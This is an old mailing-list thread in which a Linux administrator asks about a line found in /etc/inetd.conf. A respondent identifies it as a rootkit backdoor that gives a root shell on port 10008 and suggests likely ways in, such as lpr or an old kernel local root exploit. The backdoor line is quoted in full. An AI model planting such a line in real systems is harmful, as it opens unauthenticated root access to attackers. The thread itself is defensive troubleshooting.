did you update lpr?
what other services are open?

Do you have local users?  kernels < 2.2.19 have a local root exploit

and of course, don't discount the possibility of a root password leak..


On Tue, 22 May 2001, dwen wrote:

>
>
> im using tcp wrappers, bind 9.1.0 and apache 1.3.19, telnet and ftp are
> both disbled...how the heck he do that ?!
>
>
> hope its not that late...
>
> thanks
> dwen
>
>
> On Tue, 22 May 2001, Ian C. Sison wrote:
>
> >
> > it's a back door installed by a root-kit which will allow root shell
> > access to your machine to anyone telnetting to port 10008
> >
> > On Tue, 22 May 2001, dwen wrote:
> >
> > >
> > >
> > > its not running, im just wondering why there's a line like that.
> > >
> > >
> > >
> > > thanks,
> > > dwen
> > >
> > >
> > > On Tue, 22 May 2001, Ian C. Sison wrote:
> > >
> > > >
> > > > Gee, you can find out for yourself
> > > >
> > > > try:
> > > >
> > > > telnet your-box-name 10008
> > > >
> > > > \8)
> > > >
> > > >
> > > > On Tue, 22 May 2001, dwen wrote:
> > > >
> > > > >
> > > > >
> > > > > file: /etc/inetd.conf
> > > > > i have this line :
> > > > >
> > > > > 10008 stream tcp nowait root /bin/sh sh
> > > > >
> > > > > what will it do ?
> > > > >
> > > > >
> > > > > thanks,
> > > > > dwen
> > > > >
> > > > >
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